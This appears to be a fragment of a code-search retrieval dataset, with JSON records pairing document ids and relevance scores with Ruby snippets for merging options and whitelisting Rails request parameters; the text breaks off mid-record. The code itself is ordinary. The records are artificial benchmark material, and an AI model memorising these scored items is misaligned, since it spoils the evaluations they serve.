"title": ""
},
{
"docid": "c13cc350ca72d7ef3d394b9413085ad8",
"score": "0.6586927",
"text": "def merged_options(call_options)\n if call_options\n options.merge(call_options)\n else\n options.dup\n end\n end",
"title": ""
},
{
"docid": "4e79527e3330f1959facd0690146c380",
"score": "0.65646774",
"text": "def define_merge_flag\n @options.on(\"-c\", \"--configuration NAME-or-FILE\", String, \"Apply a named or disk file configuration.\") do |name_or_path|\n loaded_configuration = load_configuration(name_or_path)\n @configuration = @configuration.deep_merge(loaded_configuration)\n end\n end",
"title": ""
},
{
"docid": "673de54e3b6353dd25440905d6084f59",
"score": "0.654963",
"text": "def merge_args(config, default = nil)\n args = load(config)\n if !default.nil? && File.exist?(default)\n args.deep_merge(load(default))\n end\n args\n end",
"title": ""
},
{
"docid": "8bde124475282d6425be4a22f4b4fbc2",
"score": "0.6523526",
"text": "def merge_options(options)\n _paths = options.delete(:paths)\n options = defaults.merge(options)\n options[:paths] = paths.concat(Array(_paths))\n options\n end",
"title": ""
},
{
"docid": "425c12d89c80cbc751c05465e2c2f4d4",
"score": "0.65225095",
"text": "def merge(h)\n dup.install_options_from_hash(h)\n end",
"title": ""
},
{
"docid": "6677d1bfe8dea59d4d0894b3d893902f",
"score": "0.6513735",
"text": "def merge!(*args)\n merge(*args)\n end",
"title": ""
},
{
"docid": "ff83525e55018f013e0fe52bbeb73092",
"score": "0.65070724",
"text": "def merge_to_options(merge_to_options, option)\n (merge_to_options||{}).reverse_merge!(option)\n end",
"title": ""
},
{
"docid": "b62807fa954b0f63ea70a0fc71b84250",
"score": "0.650171",
"text": "def merge_with_options!(options)\n @options ||= {}\n options.each_pair do |key, value|\n accessor?(key) ? __send__(\"#{key}=\", value) : (@options[key] = value)\n end\n end",
"title": ""
},
{
"docid": "eac9487e03525a5300b101742d4a2489",
"score": "0.6501129",
"text": "def merge_options\n options = default_options.marshal_dump\n self.configuration_file_options.each_pair do |key,value|\n options[key] = value\n end\n\n @parsed_options.marshal_dump.each_pair do |key,value|\n options[key] = value\n end\n\n @options = OpenStruct.new(options)\n end",
"title": ""
},
{
"docid": "3ff6c823dc3f654dcd14743a0823ba0a",
"score": "0.6487215",
"text": "def merge_options(options)\n @options = {\n :file_name => nil,\n :progress => 250,\n :find_options => {}\n }.merge(options)\n end",
"title": ""
},
{
"docid": "0271265b5e1073d04f33c8bce42edd61",
"score": "0.6426086",
"text": "def merge\n # TODO: Send this to the runtime...\n end",
"title": ""
},
{
"docid": "b0c2d570d6b5c18ba809f878d60080d5",
"score": "0.63854206",
"text": "def manage_options!(merge_with: {})\n opts = self.extract_options!.symbolize_keys_and_compact!\n opts.merge!(merge_with) if merge_with && merge_with.is_a?(::Hash)\n end",
"title": ""
},
{
"docid": "eafcda26a728f3335bc53f1f6439a409",
"score": "0.63847876",
"text": "def defaults! other\n replace other.merge(self)\n end",
"title": ""
},
{
"docid": "cba5c0bda605be1a6e282ff55416f193",
"score": "0.63833845",
"text": "def complete_options(options = {})\n options = {} if options.nil?\n default_options.merge(options)\n end",
"title": ""
},
{
"docid": "456c30e809436a28204a77224d719e60",
"score": "0.63830715",
"text": "def merge!(*args); end",
"title": ""
},
{
"docid": "38457fc951a44a980e89be27a095cf0b",
"score": "0.6374345",
"text": "def merge_options(options)\n options.each_pair do |key, val|\n self.meta_answer_options << MetaAnswerOption.new(:human_value => val[\"human_value\"], :order_identifier => key, :identifier => \"#{self.identifier}o#{key}\")\n end\n end",
"title": ""
},
{
"docid": "c00afd109ed48c539266204e343edc57",
"score": "0.6357405",
"text": "def with_options(options)\n yield ActiveSupport::OptionMerger.new(self, options)\n end",
"title": ""
},
{
"docid": "f06f4e3e103b2d2b2b40abe6f9e980f2",
"score": "0.635045",
"text": "def merge_base(*args); end",
"title": ""
},
{
"docid": "faf897f9254788382838ddd3c7e45466",
"score": "0.634981",
"text": "def with_options(options)\n yield OptionMerger.new(self, options)\n end",
"title": ""
},
{
"docid": "bfc6cd40d1b7b3c00688c094c649206c",
"score": "0.62857556",
"text": "def merge_options(new_options)\n @options = @defaults.clone\n new_options.each do |k,v| @options[k] = v end\n end",
"title": ""
},
{
"docid": "5991f2d2f25ea3904aea36fbd777c672",
"score": "0.62846667",
"text": "def merge_options(options)\n filename = options[:filename]\n\n _paths = options.delete(:paths)\n options = defaults.merge(options)\n options[:paths] = paths.concat(Array(_paths))\n if filename\n options = options.merge(debug_options)\n end\n options\n end",
"title": ""
},
{
"docid": "f9c3262211aede1aee1fc4d838493633",
"score": "0.62810475",
"text": "def user_options(options)\n merged_options = options.dup\n merged_options[:cpu_cores] = get_option(:cores_per_socket)\n merged_options[:memory] = get_option(:vm_memory)\n merged_options.compact\n end",
"title": ""
},
{
"docid": "a4cae448c0ff8cd3242a6b64107a47cb",
"score": "0.62596786",
"text": "def merge_serializer_option(name, options)\n { serializer: get_serializer_for(name.to_s.classify) }.merge(options)\n end",
"title": ""
},
{
"docid": "92f1a1df4697026d4acae77fdec54091",
"score": "0.6240939",
"text": "def merge_options!(options = {})\n if Threaded.read_preference\n options[:read] = Threaded.read_preference unless options[:read]\n end\n options\n end",
"title": ""
},
{
"docid": "594562b32a43e435f6383ad9ade75519",
"score": "0.6234897",
"text": "def merge(hash)\n @options.merge(hash)\n end",
"title": ""
},
{
"docid": "55126bd88c8c9f8b04abe62480d73bc6",
"score": "0.6227599",
"text": "def options(options = {})\n @options.merge!(options)\n end",
"title": ""
},
{
"docid": "22ef01f41e8280b02373dfc95f569148",
"score": "0.6206044",
"text": "def merge content, options={}\n Merge.new( content, options ).output\n end",
"title": ""
},
{
"docid": "611563d1a0ae031369dd0486bac99b92",
"score": "0.62041146",
"text": "def merged(options)\n { account: @api_key, catalog: @catalog_key}.merge(options)\n end",
"title": ""
},
{
"docid": "7d23cc6be327c3daa585dd40340d1404",
"score": "0.6189757",
"text": "def merge(other)\n return self unless other.is_a?(self.class)\n dup.tap { |env| env.options.update(other.options) }\n end",
"title": ""
},
{
"docid": "f4e7f419b3fd61bf9c573b5efc1e3e57",
"score": "0.6184738",
"text": "def merge_sass_options(options, other_options)\n if (load_paths = options[:load_paths]) && (other_paths = other_options[:load_paths])\n other_options[:load_paths] = other_paths + load_paths\n end\n options.merge other_options\n end",
"title": ""
},
{
"docid": "fea370093c4440677b0ade0a8da06495",
"score": "0.6181858",
"text": "def get_merged_options( content_request, options )\n options[:params] = content_request.params.merge( options[:params] || {} )\n options[:request_timeout] ||= content_request.request_timeout || self.request_timeout\n options[:cache_timeout] ||= content_request.cache_timeout || self.cache_timeout\n options[:on_success] ||= content_request.on_success || self.on_success\n options[:default_content] ||= content_request.default_content || self.default_content\n options\n end",
"title": ""
},
{
"docid": "467d402063ad4195bb03a0a41714da71",
"score": "0.618011",
"text": "def options_and_defaults\n get_default_options.merge(options_as_hash)\n end",
"title": ""
},
{
"docid": "f58abe78b387583a3ca1d60c929e1563",
"score": "0.61698055",
"text": "def method_missing(meth, opts = {})\n if meth.to_s == 'to_ary'\n super\n end\n merge_options meth, opts \n end",
"title": ""
},
{
"docid": "263d3fe97e474d5607a43b9f9b66602d",
"score": "0.61627316",
"text": "def merge(other_config, overwrite_existing = true)\n\t\tend",
"title": ""
},
{
"docid": "db0e7ead95db3a7c59255e7e136943d1",
"score": "0.6162294",
"text": "def merge_into(other=Warden::Config.new)\n safe = dup\n my_default_strategies = safe.delete(:default_strategies)\n my_scope_defaults = safe.delete(:scope_defaults)\n \n App.logger.debug {\"RW WardenConfig#merge_into my_default_strategies: #{my_default_strategies}\"}\n App.logger.debug {\"RW WardenConfig#merge_into my_scope_defaults: #{my_scope_defaults}\"}\n \n other.merge!(safe)\n my_default_strategies.each {|k,v| other.default_strategies(*v, scope:k)} if my_default_strategies\n my_scope_defaults.each {|k,v| other.scope_defaults(k,v)} if my_scope_defaults\n other\n end",
"title": ""
},
{
"docid": "177deeae5d053d980ceaae986c55b511",
"score": "0.6147419",
"text": "def merge_html_options(*args)\n merge_html_options!({}, *args)\n end",
"title": ""
},
{
"docid": "eefb341d32eafc9cf0596359d1f6b5dd",
"score": "0.6135738",
"text": "def defaults_and_options options\n super\n end",
"title": ""
},
{
"docid": "468e510d26609e6638bda52ee8938651",
"score": "0.61315095",
"text": "def magic_merge(second)\n self.merge(second, &magic_merge_strategy)\n end",
"title": ""
},
{
"docid": "468e510d26609e6638bda52ee8938651",
"score": "0.61315095",
"text": "def magic_merge(second)\n self.merge(second, &magic_merge_strategy)\n end",
"title": ""
},
{
"docid": "e26c9cce3354ceb7731396e37b5b0768",
"score": "0.6112296",
"text": "def merged(options)\n {key: api_key}.merge(options)\n end",
"title": ""
},
{
"docid": "1aa4a7b0a551f1411970393f47e0a5b8",
"score": "0.61071485",
"text": "def options\n defaults.merge!(@options)\n end",
"title": ""
},
{
"docid": "1aa4a7b0a551f1411970393f47e0a5b8",
"score": "0.61071485",
"text": "def options\n defaults.merge!(@options)\n end",
"title": ""
},
{
"docid": "8126b999b8d61fd7c59d1c28114fe7db",
"score": "0.6103611",
"text": "def merge_defaults(options)\n default_options = HipaaCrypt.config.deep_merge(options)\n local_defaults = default_options.except :defaults\n local_defaults.deep_merge!(default_options.fetch :defaults, {})\n end",
"title": ""
},
{
"docid": "ea546c6cd79e8443c17bad0e8c939e08",
"score": "0.60982966",
"text": "def magic_merge!(second)\n self.merge!(second, &magic_merge_strategy)\n end",
"title": ""
},
{
"docid": "ea546c6cd79e8443c17bad0e8c939e08",
"score": "0.60982966",
"text": "def magic_merge!(second)\n self.merge!(second, &magic_merge_strategy)\n end",
"title": ""
},
{
"docid": "39452ccde1f7640564f1ef9372721d00",
"score": "0.6092389",
"text": "def merged_settings(provided)\n DeepMerge.deep_merge(self.class.default_settings, provided)\n end",
"title": ""
},
{
"docid": "ca0a355cc12f15384e4ac24ab7644b00",
"score": "0.6088565",
"text": "def merge_and_assign_config(args = {})\n arg = self.class.default_configuration.merge(args.symbolize_keys)\n arg.merge!(config_from_yaml(arg))\n arg.each {|a,v| self.send(\"#{a}=\", v) if self.respond_to?(a.to_sym) }\n\n arg\n end",
"title": ""
},
{
"docid": "21c289b4bc99fda671565a347ba7bd5e",
"score": "0.6087551",
"text": "def defaults_and_options options\n options\n end",
"title": ""
},
{
"docid": "352c3462f42cc5a4efab66dfe31e6c9f",
"score": "0.60792226",
"text": "def merge(target); end",
"title": ""
},
{
"docid": "73522665cebd2af1ffe349be7f418063",
"score": "0.6069",
"text": "def merge(options)\n return self if options.nil? || options.empty?\n\n options.each_with_object(dup) do |(name, value), config|\n config.write_attribute(name, value)\n end\n end",
"title": ""
},
{
"docid": "c2b74e9e2a7f18e410b679f57d221de0",
"score": "0.6063748",
"text": "def not_merged\n define_method(:merge?) { false }\n end",
"title": ""
},
{
"docid": "6b0456637bde894ac28588f2bbd8582c",
"score": "0.60632044",
"text": "def merge_defaults!(left, right)\n Teacup::merge_defaults(left, right, left)\n end",
"title": ""
},
{
"docid": "6b0456637bde894ac28588f2bbd8582c",
"score": "0.60632044",
"text": "def merge_defaults!(left, right)\n Teacup::merge_defaults(left, right, left)\n end",
"title": ""
},
{
"docid": "cd48cc046b6c61c11170b8508ab7f73a",
"score": "0.6059499",
"text": "def deep_merge_options\n {\n :preserve_unmergeables => resource[:preserve_unmergeables],\n :knockout_prefix => resource[:knockout_prefix],\n :overwrite_arrays => resource[:overwrite_arrays],\n :sort_merged_arrays => resource[:sort_merged_arrays],\n :unpack_arrays => resource[:unpack_arrays],\n :merge_hash_arrays => resource[:merge_hash_arrays],\n :extend_existing_arrays => resource[:extend_existing_arrays],\n :merge_debug => resource[:merge_debug],\n }\n end",
"title": ""
},
{
"docid": "282d3d69381d34c60261ebfbc3799e12",
"score": "0.60550994",
"text": "def merge\n end",
"title": ""
},
{
"docid": "8cc9d790d68afc390ec6722ca6c87d07",
"score": "0.6041179",
"text": "def mergeable?(options)\n parameters = _common_options_get(options, [:keys], [:exclusive])\n return nil if parameters.nil?\n\n # Required options : parameters[0]\n config_layers, data_opts, keys = parameters[0]\n # Optional options : parameters[1]\n be_exclusive = parameters[1][0]\n\n # Merge is done in the reverse order. ie from deepest to top.\n config_layers = config_layers.reverse\n\n return nil if keys.length == 0 || keys[0].nil? || config_layers[0].nil?\n\n data_options = options.clone\n data_options.delete_if do |key, _|\n [:keys, :names, :indexes, :name, :index, :merge].include?(key)\n end\n\n _check_from_layers(keys, config_layers, data_opts, data_options,\n be_exclusive)\n end",
"title": ""
},
{
"docid": "c71db7c3bfbd77768bbd1e43b8d2db99",
"score": "0.60379285",
"text": "def options(overrides = {})\r\n included = []\r\n\r\n [params[:include], overrides[:include]].each do |association|\r\n case association\r\n when Array\r\n included.concat association\r\n when String, Symbol, Hash\r\n included << association\r\n end\r\n end\r\n\r\n {\r\n :format => @suffix,\r\n :version => @version,\r\n :include => included,\r\n :filter => params[:filter],\r\n :order => params[:order],\r\n :limit => params[:limit],\r\n :offset => params[:offset],\r\n :joins => overrides[:joins]\r\n }\r\n end",
"title": ""
},
{
"docid": "d88b1e7a514eee0e8cf044cda19e1797",
"score": "0.6021421",
"text": "def overwrite_unmergeables(source, dest, options); end",
"title": ""
},
{
"docid": "0547dd02de79964a84d51c31c842e03f",
"score": "0.6020485",
"text": "def merge(config)\n instance.deep_merge!(config)\n end",
"title": ""
},
{
"docid": "d44b19d9deb4b2a478cf91cad02efa98",
"score": "0.60147303",
"text": "def merge_with_default(config, config_file, unset_nil:); end",
"title": ""
},
{
"docid": "b6dce7e7d3fd67f60ef9918bcbdada35",
"score": "0.6013639",
"text": "def merge(other); end",
"title": ""
},
{
"docid": "b6dce7e7d3fd67f60ef9918bcbdada35",
"score": "0.6013639",
"text": "def merge(other); end",
"title": ""
},
{
"docid": "b6dce7e7d3fd67f60ef9918bcbdada35",
"score": "0.6013639",
"text": "def merge(other); end",
"title": ""
},
{
"docid": "b6dce7e7d3fd67f60ef9918bcbdada35",
"score": "0.6013639",
"text": "def merge(other); end",
"title": ""
},
{
"docid": "ab661f38da1e6e6353d5484f575d460a",
"score": "0.60134625",
"text": "def default_options(merge_hash={})\n defaults = config.dup\n defaults[:PSPID] = defaults.delete(:login)\n %w(sha1insig sha1outsig base_url).each { |s| defaults.delete(s.to_sym) }\n defaults.merge(merge_hash)\n end",
"title": ""
},
{
"docid": "0bc200fc0ebb597b77d99e97afb4d1fb",
"score": "0.60041296",
"text": "def lookup_merge_options(name, lookup_invocation)\n lookup_options = lookup_lookup_options(name, lookup_invocation)\n lookup_options.nil? ? nil : lookup_options[MERGE]\n end",
"title": ""
},
{
"docid": "031f9829da55411e8d53bb816999d40a",
"score": "0.5997964",
"text": "def common_options(opts); end",
"title": ""
},
{
"docid": "ff7b22a0f1383037d13a92bd520e6acd",
"score": "0.5996207",
"text": "def mergeable(other)\n return true\n end",
"title": ""
},
{
"docid": "261b8a78c477c921a3773c47d2947303",
"score": "0.5984696",
"text": "def merge(other_spec, **options)\n super\n\n frame_mappings.merge!(other_spec.frame_mappings) do |frame_name, sel0, sel1|\n if !sel0 then sel1\n elsif !sel1 then sel0\n elsif sel0 != sel1\n raise ArgumentError, \"cannot merge #{self} and #{other_spec}: frame mapping for #{frame_name} differ (resp. #{sel0.inspect} and #{sel1.inspect})\"\n else\n sel0\n end\n end\n\n transformer.merge(other_spec.transformer)\n end",
"title": ""
},
{
"docid": "cb26dc0cba28b37b264c6273ed798f0b",
"score": "0.59841466",
"text": "def merge_options(options)\n require 'deep_merge'\n # deep_merge will not work with frozen options, so make a deep copy\n # (options.dup is a shallow copy of contained Hashes)\n options_dup = Marshal.load(Marshal.dump(options))\n app_id = options.has_key?('app_id') ? options['app_id'] : 'default'\n\n merged_options = call_function('lookup', 'simpkv::options', { 'default_value' => {} })\n merged_options.deep_merge!(options_dup)\n\n backend_names = [ 'default' ]\n if merged_options.has_key?('backends')\n # reverse sort by length of string so we get the longest match when using\n # a partial match\n backend_names = merged_options['backends'].keys.sort_by(&:length).reverse\n else\n Puppet.debug(\"simpkv: No backends configured. 'file' backend automatically added\")\n merged_options['backends'] = {\n 'default' => {\n 'type' => 'file',\n 'id' => 'auto_default'\n }\n }\n end\n\n unless merged_options.has_key?('backend')\n backend = 'default'\n if backend_names.include?(app_id)\n backend = app_id\n else\n backend_names.each do |name|\n if app_id.start_with?(name)\n backend = name\n break\n end\n end\n end\n merged_options['backend'] = backend\n end\n\n unless merged_options.has_key?('softfail')\n merged_options['softfail'] = false\n end\n\n unless merged_options.has_key?('global')\n merged_options['global'] = false\n end\n\n merged_options['environment'] = closure_scope.compiler.environment.to_s\n\n merged_options\n end",
"title": ""
},
{
"docid": "5609b3610a22494d34be7bfb31ced1f4",
"score": "0.59725755",
"text": "def lookup_merge_options(key, lookup_invocation)\n lookup_options = lookup_lookup_options(key, lookup_invocation)\n lookup_options.nil? ? nil : lookup_options[MERGE]\n end",
"title": ""
},
{
"docid": "0945ab30b2516ad97ad15d79e3bfce7e",
"score": "0.5970175",
"text": "def defaults_and_options options\n {'tables' => 'shout', 'columns' => 'shout'}.merge(options)\n end",
"title": ""
},
{
"docid": "7f327f29998ea5900189327db1c2c388",
"score": "0.5957352",
"text": "def options\n defaults.merge!(@options)\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "4f6ae3c8f21819a32e1c649ae43ae1ff",
"score": "0.0",
"text": "def token_params\n params.require(:token).permit(:token_type, :message, :client_id)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
